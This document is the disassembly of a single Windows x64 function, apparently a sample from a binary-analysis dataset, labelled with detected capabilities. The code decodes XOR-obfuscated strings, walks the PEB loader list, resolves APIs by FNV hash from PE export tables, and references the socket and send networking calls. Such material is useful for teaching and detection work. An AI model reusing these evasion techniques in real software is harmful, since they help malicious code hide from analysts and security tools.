Function at 0x140019160
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
lea rbp, [rsp - 0x58]
sub rsp, 0x158
mov rax, qword [0x1400781b0]
xor rax, rsp
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [0x1400668b0]
xor esi, esi
movdqu xmmword [rbp - 0x60], xmm0
mov ecx, esi
mov dword [rbp - 0x50], 0x3a0100
mov byte [rbp - 0x4c], 1
nop dword [rax]
lea eax, [rcx + 0x1e]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0x13
jb 0x1400191a0
lea rcx, [rbp - 0x60]
mov byte [rbp - 0x4c], sil
call fcn.140001970
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
lea rcx, str..Nsi
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1401cb658], rax
call fcn.140016a70
test eax, eax
jne 0x14001970f
mov dword [rsp + 0x40], 0x45417052
mov rcx, rsi
mov dword [rsp + 0x44], 0xb434d4b
mov dword [rsp + 0x48], 0x1002d08
nop word [rax + rax]
lea eax, [rcx + 0x1e]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xa
jb 0x140019220
mov qword [rsp + 0x170], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x178], rdi
mov qword [rsp + 0x148], r14
mov qword [rsp + 0x140], r15
mov byte [rsp + 0x4b], sil
call fcn.140001970
mov r8, qword [0x1401cb788]
test r8, r8
jne 0x140019420
mov rax, qword gs:[0x60]
mov r11d, esi
mov qword [rsp + 0x150], r13
mov r10d, 0xca0ebc6f
mov qword [rsp + 0x180], r12
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r14, r13
nop
movups xmm0, xmmword [r14 + 0x58]
movd eax, xmm0
movups xmmword [rbp - 0x60], xmm0
sub ax, 8
test r11d, r11d
je 0x1400192ed
mov rcx, qword [rbp - 0x58]
mov edx, 0x6d52d1eb
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x1400192e4
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x1400192d0
cmp edx, r11d
jne 0x1400193f1
mov r9, qword [r14 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
mov ebx, ecx
shr r12, 0x20
add rbx, r9
cmp rbx, r9
je 0x1400193f1
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400193f1
mov r15d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x6d52d1eb
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r15]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140019367
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140019350
cmp edx, r10d
je 0x140019373
test r8d, r8d
jne 0x140019330
jmp 0x1400193f1
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
cmp r8, rbx
jbe 0x140019409
lea rax, [r12 + rbx]
cmp r8, rax
jae 0x140019409
movzx eax, byte [r8]
mov r11d, 0x6d52d1eb
mov r10d, r11d
cmp al, 0x2e
je 0x1400193c8
nop word [rax + rax]
movsx eax, al
inc r8
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x1400193b0
movzx eax, byte [r8 + 1]
inc r8
test al, al
je 0x1400193ed
movsx eax, al
lea r8, [r8 + 1]
xor eax, r10d
imul r10d, eax, 0x1000193
movzx eax, byte [r8]
test al, al
jne 0x1400193d4
mov r14, qword [r13]
mov rax, qword [r14]
mov r14, rax
cmp rax, r13
je 0x140019406
cmp qword [rax + 0x30], rsi
jne 0x1400192a0
mov r8, rsi
mov r13, qword [rsp + 0x150]
mov r12, qword [rsp + 0x180]
mov qword [0x1401cb788], r8
mov dword [rsp + 0x40], 0x6e6c5e48
mov rcx, rsi
mov dword [rsp + 0x44], 0x716a6270
mov dword [rsp + 0x48], 0x1000706
nop dword [rax + rax]
lea eax, [rcx + 0x1e]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xa
jb 0x140019440
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x4b], sil
xor ecx, ecx
call r8
test rax, rax
je 0x14001968b
movdqa xmm0, xmmword [str.jSJIJHI]
mov rcx, rsi
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x70], 0x5e5c4e58
movaps xmmword [rsp + 0x130], xmm6
mov dword [rbp - 0x6c], 0x415a5240
mov word [rbp - 0x68], 0x1c
mov byte [rbp - 0x66], 1
nop dword [rax + rax]
lea eax, [rcx + 0x1e]
xor byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 0x19
jb 0x1400194a0
mov r8d, 0x19
mov byte [rbp - 0x66], sil
lea rdx, [rbp - 0x80]
mov qword [rbp - 0x28], rsi
lea rcx, [rbp - 0x28]
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], send
call fcn.14001f770
lea rcx, [rbp - 0x28]
call fcn.14000ee10
movdqa xmm0, xmmword [str.jSJIJHI]
mov rcx, rsi
movdqu xmmword [rbp - 0x48], xmm0
mov dword [rbp - 0x38], 0x1f534858
mov dword [rbp - 0x34], 0x514b57
mov byte [rbp - 0x30], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x1e]
xor byte [rbp + rcx - 0x48], al
inc rcx
cmp rcx, 0x17
jb 0x140019510
mov r8d, reloc.WS2_32.dll_socket
mov byte [rbp - 0x30], sil
lea rdx, [rbp - 0x48]
mov qword [rbp - 8], rsi
lea rcx, [rbp - 8]
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], send
call fcn.14001f770
lea rcx, [rbp - 8]
call fcn.14000ee10
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14001956e
imul rax, rax, 0x64
jmp 0x14001958c
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffffff4d2fa1ff
cmp rax, rcx
jge 0x1400195a5
mov edi, 0xb2d05e00
add rdi, rax
jmp 0x1400195af
movabs rdi, 0x7fffffffffffffff
movsd xmm6, qword [0x1400664d8]
movabs r14, 0x311cdad160000
movabs r15, 0x112e0be826d694b3
nop dword [rax + rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1400195ee
imul rbx, rax, 0x64
jmp 0x14001960f
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
cmp rbx, rdi
jge 0x140019683
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
imul rcx, rax, 0x64
xorps xmm0, xmm0
mov rax, rdi
sub rax, rbx
lea r8, [rcx + r14]
cvtsi2sd xmm0, rax
comisd xmm0, xmm6
seta r9b
test r9b, r9b
jne 0x140019641
lea r8, [rax + rcx]
add rax, rcx
lea rdx, [rcx + r14]
test r9b, r9b
lea rcx, [rbp + 0x18]
cmove rdx, rax
mov rax, r15
imul rdx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul eax, edx, 0x3b9aca00
mov qword [rbp + 0x18], rdx
sub r8d, eax
mov dword [rbp + 0x20], r8d
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
jmp 0x1400195d0
movaps xmm6, xmmword [rsp + 0x130]
call fcn.140018ea0
mov r15, qword [rsp + 0x140]
mov r14, qword [rsp + 0x148]
mov rdi, qword [rsp + 0x178]
mov rbx, qword [rsp + 0x170]
test al, al
je 0x140019773
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140016a70
test eax, eax
je 0x140019727
mov dword [rsp + 0x50], 0x57496d5a
mov dword [rsp + 0x54], 0x49045147
mov dword [rsp + 0x58], 0x4c4c4649
mov dword [rsp + 0x5c], 0x100214e
nop dword [rax]
lea eax, [rsi + 0x1e]
xor byte [rsp + rsi + 0x50], al
inc rsi
cmp rsi, 0xe
jb 0x1400196f0
lea rcx, [rsp + 0x50]
mov byte [rsp + 0x5f], 0
call fcn.140001970
mov al, 1
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.14004dbc0
add rsp, 0x158
pop rsi
pop rbp
ret
movdqa xmm0, xmmword [0x1400665f0]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x47595d4a
mov dword [rsp + 0x64], 0x3e4157
mov byte [rsp + 0x68], 1
nop word [rax + rax]
lea eax, [rsi + 0x1e]
xor byte [rsp + rsi + 0x50], al
inc rsi
cmp rsi, 0x17
jb 0x140019750
lea rcx, [rsp + 0x50]
mov byte [rsp + 0x68], 0
call fcn.140001970
xor al, al
jmp 0x140019711
movdqa xmm0, xmmword [str._NU]
movdqa xmm1, xmmword [0x140066660]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x70], 0x312d505d
movdqu xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x74], 0x37213737
mov dword [rsp + 0x78], 0x1004d66
nop word [rax + rax]
lea eax, [rsi + 0x1e]
xor byte [rsp + rsi + 0x50], al
inc rsi
cmp rsi, 0x2a
jb 0x1400197b0
lea rcx, [rsp + 0x50]
mov byte [rsp + 0x7b], 0
call fcn.140001970
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
jmp 0x140019711